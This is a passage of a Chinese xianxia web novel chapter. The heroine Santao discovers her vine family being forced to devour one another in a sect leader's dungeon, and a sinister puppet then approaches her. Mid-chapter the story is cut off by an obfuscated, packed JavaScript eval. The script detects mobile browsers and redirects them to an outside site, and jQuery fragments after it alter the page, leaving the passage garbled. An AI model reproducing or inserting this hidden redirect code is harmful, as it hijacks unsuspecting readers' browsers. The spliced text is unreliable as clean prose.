藏宝阁是极乐宗最大的阁楼,三夭很轻易地寻到了,门口有一青衣修士,见到三夭,递出手的动作有些僵硬,三夭不明所以,左右望了一圈,才听他没有声调地提了一声:“令牌。”
三夭把弟子牌拿了出来,修士接过,诡异地盯了他半晌,才放了行。
三夭呼出一口气。进得阁内,三夭一层层寻上去,三层都是闪闪发亮的法器和灵药,每个样宝贝底下都写了来源和出处,绝大部分材料竟都是妖兽,犀牛的角、蛟龙的鳞、狐狸的尾、虫蚁的血、乃至花妖草妖的血肉可入药。
总之,妖怪浑身是宝。能给人族修炼最大的助力。
除此之外,偌大的藏宝阁,每层都有数名修士守着,可让三夭惊悚的是,这些修士竟都长了同一副面容,清一色的男修模样,头几个把她吓得毛骨悚然,差点以为自己进了鬼屋。
看多了就麻木了。
原来都是傀儡。
为什么都长这幅模样,不是三夭考虑的范围。三层下来,三夭没有发现任何活物,除了她自己以外,甚至看不到一个极乐宗的弟子。
可三夭从藏宝阁的高度看,这栋阁楼应该不只有三层的高度。这里或许还有隐藏空间。
三夭闭上眼,催动识海中的魔气回荡各个角落。使用魔气对她而言,已经像呼吸一样简单。
很快她发现了一处暗道。三夭一路避开那些诡异的傀儡,朝魔气流通处而去。
在她看不见的地方,那些傀儡竟齐齐转向三夭的背部,死死盯着她。三夭浑然未知,进得那房间,四处摸索机关,终于找到一处密道。
三夭顺着密道向下,密道昏暗,空气中传来一种颓靡之气,紧接着响起一道咿咿呀呀千娇百媚的声音,还有另一道沉重的呼吸。
听到这声音的剑中人沉默了。
只有三夭不明所以,她直觉百藤就在那底下了。家人与她只有一墙之隔,这个想法让她心跳剧烈,却也知道那边有人,不能再前进一步。
她屏息而待,片刻之后,那边的动静小了,终于传来说话声。
“休郎,我头好疼,你给我唱首歌吧……”
“休郎休郎,你怎么不说话?怎么也不理我?”
“我求了你那么多次,可你一次都不开口。是不愿意?还是不想唱?”
“罢了,我知你也不快活,你这样好,我来给你唱歌吧。”
地道中传出了语调清软,挠人心神,三夭一时不察,就被迷了心智。想起神木村里平静祥和的日子,不知今夕何夕。快乐到了顶,便要直转而下,勾起人心底最隐秘的不安。
神木倒塌那一刻,曼莲双变黑谎言戳破家破人亡的那一刻,纷纷涌上心头。连带剑中之人的呼唤都听不见了。
歌声凄厉,带着痛苦之意,就像一个脑袋剧痛患者的嘶吼。
三夭迷迷糊糊中仿佛听到了哥哥姐姐声音,他们在痛苦哀嚎,不知为何,青陵城中的那股饥饿感又被勾出来了。仿若噩梦重演现实,一墙之隔竟响起咀嚼之声,仿佛某些东西在相互纠缠,相互啃食。
那声音勾着对面沉重的呼吸,重复起有节奏的律动,撕心裂肺的哀嚎又弱了下来,三夭短暂回神,便听那人又说话了:“你说,我们在做这种快活事,他们却在相互伤害,会不会太残忍了呢?”
没有人回应,其余声音安静下来,那些啃食之声越来越响,不是她的错觉。
“既然你们那么坚定,那般相信对方,当然要把对方吞噬入腹才是呀。”
说话之人言语蛊惑,却带着一种天真的残忍。
就在这一瞬间,三夭不由自主地冲了出去,她掠过地上交缠的两道影子,看到百藤在相互蚕食。
靡靡之音中,那一条条青绿色的藤,相互纠缠,相互桎梏,直到一条将另一条禁锢到无法动弹的地步,竟狰狞地裂开了豁口,将身下之藤一点一点,吞噬殆尽。
数条藤组成了这场狂欢,轻软的歌声中,他们化成了真正的野兽,吃完一条接着一条,似无穷无尽。
这片昏暗的散发异味的囚牢,便成了三夭最大的噩梦。
对,一定是噩梦。
因为是噩梦,才不会是现实。
恐惧和愤怒压过饥饿,压垮了三夭的神智,就在这一瞬间,魔气横冲直撞,三夭就要往前冲去,却被苏醒过来的昭风拼力拦下。
银剑化作一张巨网,兜过三夭狠狠往隧道那边退去。
地面两道交缠的影子齐齐抬头。
这一刹那,长发女影飞窜出去,竟被男影拽了回去,那“休郎”终于开口,“你要弃我而去么?”
女影背对着通道,专注盯着对面的爱人:“头一回这般主动,你想隐藏什么?”
“不藏什么,只是有个傀儡不听话,走错了道,宗主既想看,就让你看狗。”
男影呵呵笑道,那声音不似活人,竟有种鬼魂的寒意。他捧着女影的头颅,又用力将其埋入颈窝,自己却抬起一张脸。
那脸和三夭被网兜出去那一瞬间交错,三夭看清那男影的面容,竟和傀儡一模一样。可那双眼里的死寂,竟比傀儡还不似活人。
唯有竖眉那刹,才能让人知道这人的确是那群长相千篇一律的傀儡的主人。转眼从三夭身侧飞去一只真傀儡,脖颈落在男影的另一只手上,用力一掐,傀儡便化作齑粉。
“这就是那不听话的傀儡么……”
就在那一刹那,三夭成功退出了密道,回到房间。
机关闭合那瞬间,她听到里面最后一句叹息:“罢了,我信你便是。”
网兜着三夭桎梏在地,不敢松开分毫,“那里面的是极乐宗宗主,一旦被发现,根本没有活的机会!”
三夭却听不进去,一旦松开,她会不顾一切跑进去。谁看到自己思念已久的家人变成那副模样,都没法平静。可此时此刻,三夭不能这么做。
昭风厉声道:“你清醒点!现在出去,不仅救不了他们反而把你自己给搭进去!你不想救他们了吗?!你想成为其中的一个吗?”
有玉也不忍道:“你信他,极乐宗主梦若,她真想杀一人,其他三宗的顶级大能联手,都不一定能在她手下讨得好处……没有人知道她活了多久,变成这个老疯子,比魔头还要魔头,你胜不了他的。”
晓天冷嘲热讽:“你若想送死,敢敢上去,反正不过两眼一闭,救人可难多了,死是最容易的事,当个懦夫,但别连累我们和你一起送死!”
轮番敲打下来,三夭卸了力。
她反抗不了网,正如反抗不了百藤的命运。
静如死寂。
再抬眼时,三夭满脸泪痕,却自己爬了起来,往藏宝阁外走去。傀儡眼中的还是那个冷面如霜的“余娇”。只是在她的背影跨出阁楼那一刻,所有傀儡似有所感,齐齐盯着她的背影,直到那背影消失在天边尽头。
三夭回了住所。
小春被还未醒,不知做了什么美梦,竟流着口水乐呵,睡的很是香甜。
五花大绑的比绑人那位还要惬意,真是世事难料。
太阳西斜,投下耀眼的黄昏,三夭却躲在余晖照不到的暗角,思绪纷繁复杂得根本无法捕捉,偶尔又突然静默,蹲成了角落里一颗什么都不想的蘑菇。
剑中二灵受不了这种气氛,七嘴八舌地替三夭想法子。
昭风:“直面宗主是不可能的,只能趁宗主不在时,再找机会把藤偷出来。”
有玉:“那个地牢看起来不简单,恐怕没那么容易把藤放出来,得再回去摸摸情况。”
昭风:“那些傀儡也着实诡异,明明发现了我们的行动,还有那个男修,到底是什么人?最后那一刻他似乎是在帮我们。”
席有玉:“相传极乐宗主男人很多,可一路跟到最后得的只有一个右护法。从未有人见过这右护法的真人,恐怕就是他。”
昭风:“看来情况没那么糟糕,只要计划好,还是有机会的。”
晓天听得很不耐烦:“计划再好有什么用,这丫头牛劲儿一上来,谁拉的住?噢你可以,不过太麻烦了,我有个快捷的主意!”
金凤凰屈尊降贵,难得替那藤夭想一次,竟没人理他。
只好自个卖个关子道:“不如把我放出来,我和那席兄一起,也算多个人手。”
昭风的却不买他的账:“你别捣乱了行不?放你出来?不把我们抓走算好的了。”
“你们就是不信我!”霍晓天怒吼。
有玉皮笑肉不笑:“你若表现得好些,我何苦跟着你受罪?”
昭风不再理他们,转而安慰起三夭来:“实力不足只能隐藏,不要着急,就像青陵城的时候一样,事情总有办法解决,更何况你现在不是一个人——”
剑中闹腾突然断。
他们齐齐望着门口,下一瞬,门被推开了。
三夭回头一看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329580|177872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,竟是盯着那密室男影脸的傀儡。
三夭从混乱中彻底回神,抓紧身侧的凌霄剑,紧紧盯着缓缓跨入门内的傀儡。
傀儡一句话不说,待进得门内,转身就把门关了。
“你住处有隔音法阵,我就直说了。”
就在众人以为三夭身份被揭穿时,那傀儡毫无起伏的声音叫了声:“余娇。”
“啊?”三夭下意识应了声。
傀儡却没有停顿:“方才你太鲁莽,要打倒宗主,何必急于这一时?还不到时机,你得先成为护法。”
三夭没忍住,瞪大了眼盯他。
傀儡见了,毫无情绪地问她:“怎么?你不相信我的话?怕我诓你?”
那声音让三夭汗毛直立,听得剑中众“军事”参谋,三夭露出个警惕的表情:“我凭什么信你?”
傀儡拉长了唇,弯起一个人不能做到的弧度,嘴角已裂到了耳后:“你不信我,就只能等考核失败,被宗主扒皮抽筋。”
三夭看着这诡异的傀儡,忍不住又打了个寒战。
身体反应可不是她能控制的,三夭欲哭无泪,傀儡果然捕捉到了这个细节,脑袋一下子凑到三夭跟前:“宗主每次都会失败的女修,给自己换层皮,否则宗主怎么保持容颜青春?”
一手抚过三夭的脸,“的确是好皮子啊。”
傀儡那手的触感很像人的皮肤,却没有温度。
三夭炸毛了,反手一掀,意外泄出了一丝魔气,在傀手腕上割开一道口子,却不流血。
傀却不生气,反而包容地说了句:“你不用怕,你是我的人,只要乖乖听我的命令行事,保管你活到最后。”
待门嘭一声关上,确定那傀彻底走了,三夭惊出一身冷汗,她不怕鬼,却怕那傀儡身上可怖的阴渗气质。就像慌乱中看到的那一眼男影,半死不活的人,尤其可怖。
晓天却脑回路清奇地摸了摸自个儿的脸,唏嘘道:“那宗主怕不是千年老妖吧?居然扒旁人的皮给自己用……嘶!”
灵体抱着自己打了个寒战。
有玉叹道:“这极乐宗不如外表看起来太平呀。”
昭风道:“至少,敌人的敌人就是朋友——我们的胜算更大了。”
三夭觉得,余娇也不如自己想的那般简单,或许,可以在她居住的地方找到一些别的线索呢?
于是翻腾起她的屋子,终于在一处角落翻出一个竹筒样式的小玩意儿,旁边还放了个包裹,里面装的全是灵石。
昭风咂摸下巴:“看来,连余娇都在准备随时随地跑路,极乐宗,果然不是人能呆的地方。”
三夭抖落包裹,却在底下翻出一块玉石。
不知被主人握在手心摩挲多少次,才成了这般温润光滑的触感。
三夭恍然想起,余娇死时,残留她脑海的,不只有最大的竞争对手冰双得瑟的脸,也不只有她一次又一次败于对方手下,永远只能后一名的恐惧。
恐惧之下,有一闪而过的慈祥的笑容。那笑容的主人,或许是她的娘亲,又或许是她生命中非常重要的人,给了她这块玉石,嘱咐她:“好好活下去。”
狠心留下背影,让余娇记到了死亡。
而余娇,留给世界的最后一句不甘是:“逃出去,必须逃出去。”
本该孤独消散于世间得执念,却被三夭捕捉到了。
三夭垂眸想,果然,不能随意杀人的,每个生命都独一无二,弥足珍贵,不该由一人决断生死。
因而那因着自己的怪癖,玩弄人心,操控旁人生死的极乐宗宗主,显得尤为可恶。
三夭打不开那个竹筒,或许下了什么自己才能开的法咒,三夭想了想,取出弟子牌一试,竹筒开了,里面竟是一张纸,纸上写的什么三夭一头雾水。
青陵城三夭也算勉强几下了几个字,可着纸上的明显不是百黎国文字,就更加看不懂了。三夭撑着纸盯了半晌,剑中三灵也瞧了半晌,霍晓天和三夭一样一头雾水,昭风和有玉却明显是认得的。
就在晓天百无聊赖之时,他灵耳一竖:“小丫头,你男宠要醒了!”
摆出看好戏的笑,道,“可不能让他怀疑你的身份呀,想在极乐宗呆下去,必须扮好余娇呀~”
三夭心一坠,糟糕,早知道就不那么鲁莽了,怎么就在他面前暴露身份了呢?
“所以,他挡了你救家人的路,你还会让他好好活着吗?”